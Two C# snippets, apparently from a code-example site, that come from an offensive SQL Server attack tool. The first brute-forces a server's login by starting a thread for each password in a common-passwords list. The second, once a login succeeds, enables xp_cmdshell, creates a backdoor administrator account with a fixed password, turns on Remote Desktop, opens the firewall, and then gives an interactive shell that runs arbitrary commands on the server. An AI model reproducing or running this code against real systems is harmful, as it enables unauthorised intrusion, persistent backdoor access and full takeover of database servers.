Example #1
0
        static void startThreads(string ip, List <string> topPasswords)
        {
            Exploit exploit = new Exploit();

            foreach (var password in topPasswords)
            {
                string[] ipAndPassword = { ip, password };
                Thread   t             = new Thread(new ParameterizedThreadStart(exploit.tryConnect));
                t.Start(ipAndPassword);
            }
        }
Example #2
0
        public void observeResult(bool result, string connString)
        {
            if (result)
            {
                GenericFunctions.logSuccess("Finalized Connection String is : " + connString);

                Exploit exploit = new Exploit();

                GenericFunctions.logNotification("Starting Exploitation.. Devil Mode ON");

                GenericFunctions.logNotification("Enabling XP_CMD Shell..");

                GenericFunctions.dbResponse(exploit.executeCommand(connString, Exploit.ExploitationCommands[0]));

                GenericFunctions.logNotification("Enabling Automation Procedure..");

                GenericFunctions.dbResponse(exploit.executeCommand(connString, Exploit.ExploitationCommands[1]));

                GenericFunctions.logNotification("Adding user Ch3rn0by1 with password lafangoo..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[2]));

                GenericFunctions.logNotification("Adding user Ch3rn0by1 to Admin Group..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[3]));

                GenericFunctions.logNotification("Enabling Remote Desktop -- Method # 1..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[4]));

                GenericFunctions.logNotification("Enabling Remote Desktop -- Method # 2..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[5]));

                GenericFunctions.logNotification("Adding Remote Desktop Port in Firewall -- Method # 1..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[6]));

                GenericFunctions.logNotification("Adding Remote Desktop Port in Firewall -- Advance Method..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[7]));

                GenericFunctions.logNotification("Configuring Remote Service/Service Manager..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[8]));

                GenericFunctions.logNotification("Restarting Service Manager..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[9]));

                string choice = "x";
                while (choice != "c")
                {
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.Write("Enter CMD Command to Execute on Server\nOR Press c to exit : ");
                    choice = Console.ReadLine().ToLower();
                    if (choice != "c")
                    {
                        choice = "EXEC master..xp_cmdshell'" + choice + "'";
                        GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, choice));
                    }
                }
                GenericFunctions.logNotification("Press any key to exit..");
                Console.ReadKey();
            }
        }